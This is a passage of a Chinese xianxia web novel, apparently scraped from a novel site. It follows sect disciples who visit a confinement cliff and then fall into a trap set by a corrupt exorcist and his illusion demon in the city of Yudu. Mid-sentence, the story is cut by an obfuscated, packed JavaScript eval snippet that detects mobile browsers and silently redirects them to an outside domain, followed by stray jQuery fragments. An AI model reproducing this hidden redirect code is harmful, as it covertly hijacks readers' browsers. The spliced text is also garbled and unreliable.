“掌门行事却非我等小辈能参透,但掌门此次决断太过偏激,怎能将师兄丢到这种鬼地方?”
桑宁闻言惊得挑眉看向一脸坦然的楼珩,这人什么话都敢说,她下意识打量四周,确认无人才低声道:“师兄此言万不能在人前胡诌,掌门一向重规矩,倘若让师父知道你敢编排长者,怕是要将你关到思过崖十天半个月。”
楼珩眼底闪过一丝晦暗不明的情绪,掌门就算是师者也不能随便把人关禁闭,他不屑一顾地扬了扬唇角,慢悠悠道:“你师兄我怕什么?就算是师尊在,这些话我也照说不误,师尊从未用长辈的身份打压过我这个做徒弟的,掌门就算是门派中最有权威之人……”
桑宁及时打断了楼珩的话,指着台阶尽头一扇禁闭的石门,“师兄,我们到了。”
石门上布满了青色苔藓,楼珩正欲伸手去推石门,石门却自动打开了,沉闷的开门声回荡在整个悬崖内。
石门后的景色更令人心中一沉,楼珩好奇地看着面前的宏伟景观,原来思过崖是将悬崖挖空之后在悬崖峭壁内侧掏空,隔出一间间禁室,禁室的布局十分简陋,只有一张木床,
桑宁走在前面替楼珩一一解释,
“师兄,这里是沐浴更衣的地方,每日沐浴用的水都是山间清泉,在禁闭期没有吃食和衣物换洗,每日都要去崖边跪上两个时辰静思己过,还需要在禁室内抄清静经,这里有很多禁室,大师兄应该是在最高的那一层。”
山崖最高处只有一间门外设下三层结界的禁室,长廊内回荡着地藏经的诵读声。
这应该是掌门特意为柳成荫布下的结界,以免他偷懒逃罚,看来掌门真是对柳师兄的管教格外严苛。
桑宁敲了敲门,轻声道:“师兄,我来带你出去,师兄……”
房内安静地听得清房檐水落下的声音,“滴答滴答…”
过了许久才有一道嘶哑的声音回应,“阿宁,你又胡闹了,师父有令不许你私下来思过崖探望我,你又把师父的话当成耳旁风了?”
桑宁见惯了柳成荫受罚,却从未听过他这般虚弱的声音,由此可见柳成荫受的伤有多重,她着急地拍门,恨不得立马将门砸开,奈何她修为不够,木门丝毫没有动弹半分,看来是柳成荫把门闩插上了。
“柳成荫,你当真是不要命了。”
楼珩二话不说直接抬脚就踹,他真是想不通这货脑子里在想什么,都这个时候了还死要面子,简直是天下最蠢笨的倔驴!
38. 第三十八章
楼珩他们一行人骑大半日的马到了一座名为‘余都’的城外,城外有许多百姓在排队等着进城,他们手里大多数都拎着一个铁笼,铁笼上盖着一层黑布,笼内的妖气很是微弱,有的笼子里甚至没有妖气。
望尘跟云逍站在城门外观望城内的情况,桑宁看着百姓手上拎的笼子,她越看越觉得这些百姓很奇怪,按理说百姓对妖族很是畏惧,甚至可以说是避之不及。
桑宁道:“百姓为何要捉这些妖力低微的小妖,而且还都要进城。”
“阿宁你想多了吧,可能城里有人高价收妖。”云晟并不觉得这有什么奇怪的,毕竟百姓也要填饱肚子,他勒紧缰绳率先冲进城门,道:“咱们先进城吧,等找到阿姐他们再商议怎么对付幻妖。”
望尘心中隐隐有一丝不安,他总觉得幻妖背后没那么简单。
他们一行人刚进城就看见城墙根有一排铁笼,笼子里的妖大大小小有上百只,有的妖甚至还没学会化形术,有几只毛茸茸的小猫妖蜷缩在笼子里瑟瑟发抖。
桑宁上前隔着笼子摸了摸其中一只病蔫蔫的小猫妖,心软道:“好可怜的小猫妖,师兄,他们都会被杀吗?”
望尘沉默了片刻,道:“城内应该是有捉妖师坐镇,否则不会有这么多妖,但是这捉妖师行事太过蹊跷,不论是修仙者还是捉妖师都不可能对妖族如此赶尽杀绝,除非……”
“除非什么?”云逍问道。
望尘沉声道:“除非这位捉妖师走得是歪路,炼得是歪门邪道的功法,需要吸取妖丹来提升自身修为。”
云逍惊道:“还有这种歪门邪道?!”
楼珩道:“那我们是不是应该先出城?”
“真是奇了怪了,按理说玉烛烬给出的方向就是这里,而且附近只有一座城,可是师兄师姐他们怎么不回信,难道是我的千里传讯术退步了?”云晟挠了挠后脑勺,他百思不得其解究竟是哪儿出了问题。
云晟的话引得望尘陷入沉思,他方才察觉到自己体内的灵力混乱,无法平心静气更无法施展灵力,恐怕这地方另有蹊跷。
他将背上的碧海潮生琴取下来,认真问道:“你们有没有发现体内的灵力已经开始已逐渐不稳,这地方好像有什么特殊阵法在影响体内的灵力。”
楼珩仔细感受了一下,他倒不觉得灵力被限制,但其他人都多多少少受了影响,尤其是云晟和云逍,他们修为尚浅又很少面对这样的阵法,一时间竟然有些头重脚轻。
“哎,云晟!”楼珩眼疾手快冲过去一把拽住差点摔倒的云晟,没想到云晟浑身滚烫,像是起了高烧一样,惊道:“你平日不是很能闹腾吗?今天怎么刚进城就一副病蔫蔫的样子,身上还这么烫。”
“阿姐……”云晟在彻底失去意识前喊出了云晚苓的名字。
望尘心底有了几分猜测,他就地而坐轻轻拨动琴弦,悠扬清冽的琴音渐渐平息了众人体内那股躁动不安的灵力,但望尘很清楚以自己的修为只能维持一两个时辰,必须尽快想法子离开此地。
“此地不宜久留,我们先出城再另想法子。”望尘的话还没说完就被桑宁拽住了袖子,他疑惑地看向桑宁,道:“嗯?怎么了?”
桑宁指着北面城墙上贴着的告示,道:“你们快看这城墙上贴的告示,这画得好像是云师姐!”
楼珩一听到有师姐师兄的踪迹立马把云晟丢到马背上,他急忙跑过去看清告示上贴的画像,“这不就是花朝师姐和云师姐的画像,这上面说什么……师姐是妖女?”
“这是谁在大放厥词?!竟然敢说师姐是妖女!!”桑宁气得立马就要把告示撕下来,望尘连忙拦住了她,道:“阿宁先别着急,这张告示只有修仙者才能看到。”
“什么?”桑宁的目光再次落在那张告示上,这告示看上去跟寻常告示没什么不同啊。
云逍仔细观察一番,道:“纸上确实施了特殊的术法,恐怕这也是一个圈套,师姐他们很有可能是被这幕后之人困在了某个地方,也许就在这城中某处。”
“大师姐灵力高强,怎么可能会被困住?”桑宁压根不信云逍的话。
“别闹了。”
望尘打断了他们的争执,他单手抱着碧海潮生琴走到桑宁身侧,道:“方才听百姓说这些妖都要送去除妖宫,恐怕幕后之人就在除妖宫内。”
他顿了顿,继续道:“我跟云逍前去除妖宫即可,你跟阿宁带着云晟先离开此地……”
“既然来了就别想走!老夫刚好陪你们玩玩。”一道沧桑的声音自上空响起,他们还没反应过来就被一缕红烟包围。
“红烟……是幻妖!大家屏住心神,稳定体内的灵力,不要被这幻妖迷惑。”
最先反应过来的是望尘,他刚要抚琴就被红烟缠住了手腕,紧接着就被红烟笼罩双眼,他下意识去抓身旁桑宁的袖子,大声道:“稳住心神!不要去想那些让你们产生憎恨和贪念的过往,否则幻妖会彻底控制你们的意识!”
望尘、桑宁跟云逍都被幻妖控制了心神,他们在梦境中与幻妖幻化出的自己打得难舍难分,而楼珩却没有被幻妖控制,他盯着半空的天师看了几眼,确定此人就是幻妖的主人,他毫不犹豫将辞暮抽出剑鞘,泛着冷光的剑刃直指天师,手腕一转剑刃向内划破天师的白袍,殷红的血渗透了白袍的袖子。
“你这娃子竟然没被幻妖蛊惑心神?!”天师来不及应付只好侧身避开了楼珩手中的长剑,他连连后退,捂住胸口惊叹道:“你究竟师承何人?!竟然能不被幻妖所控……就连你的师姐师兄都难逃幻妖的蛊惑之术,你小小年纪就能有这本事?!”
“果然是你这老道伤我师兄师姐,你不仅残害妖族、利用百姓,你还要杀我仙门弟子。”楼珩不再留有余
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799340|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地,他每一招每一式都十分狠厉,手中的长剑发出阵阵剑鸣声。
天师快要招架不住时掏出几张符纸扔了出去,符纸下的一团红绳迅速将楼珩的手脚捆住,随着红绳上清脆的铃铛声,楼珩手中的辞暮掉落在地,他也不受控地硬生生从半空掉下去。
“有种你把这破绳子给我解开!”侧躺在地上的楼珩拼命挣扎,他越挣扎红绳就束缚得越紧,最要命的是楼珩脖子上也被红绳缠住,绳子已经勒进皮肉,渗出几滴殷红的血珠。
“你这娃子真是不要命啊,被勒紧脖子的感觉不好受吧?”
天师方才就注意到这娃子手里的长剑并非凡物,他俯身仔细端详地上的那把长剑,赞叹道:“太阴玄铁?这可真是百年难得一见的宝贝,你这娃子也是蓬莱的弟子?”
楼珩冷哼一声,“你不配提我师尊的名讳。”
天师这下来了兴致,他活了二百多年都没见过这种宝贝,而且这娃子能不被幻妖控制,想必体质也很是特殊,他好奇地追问道:“娃子,你要是愿意告诉老夫你师承何人,老夫也不是非要杀了你们。”
楼珩道:“玉阙真人的名号听过吗?”
“…………”
短短几个字惊得天师连连后退,他倒吸一口冷气,玉阙真人?这下完了,当真是踢到了铁板。
“哎,司青衔,你那小徒弟呢?怎么不见人影。”
“你最近日日都来镜花台,有何指教?”
“这就是你把我养的山鸡野鸭都炖成汤的理由?”
一想到司青衔把自己精心养大的鸡鸭炖了汤,舜之帝君就气不打一处来,他猛灌了三杯清茶才缓了过来,他捂住胸口连连叹气,“你我相识千年,如今却要为了一个才收入门下不足六年的小子就抛弃我这个旧友,真是让人心寒!”
司青衔道:“镜花台库房的所有东西任你挑,只许拿三样,这总可以了吧?”
舜之帝君闻言喜笑颜开,他可清楚得很,司青衔这货私藏了不少宝贝,这次他可要拿些稀罕宝贝以慰藉自己被炖成汤的山鸡野鸭,他挑眉道:“这可是你说的,到时候可别说我占你镜花台的便宜。”
“所以你来我这儿就是为了几只山鸡?”司青衔不紧不慢地翻了页手中的话本,他随口问道:“舜之帝君也没这么闲吧?”
舜之帝君这才想起此次前来的要紧事,他端起茶杯,正色道:“去年我昆仑下山游历的分支弟子从上个月就没了行踪,就连门中法器也探测不出他们的踪迹,三十六重天正忙着修补西荒封印,我听说你们蓬莱刚派出去一批弟子,还是谨慎留意着他们的行踪吧。”
司青衔又翻了一页,随口道:“你当真是低估了晚苓和成荫,以他们的修为,一般妖物无法伤到他们。”
舜之帝君端茶的手一顿,他喝了一口凉茶,严肃道:“如果那幻妖背后是邪修呢?”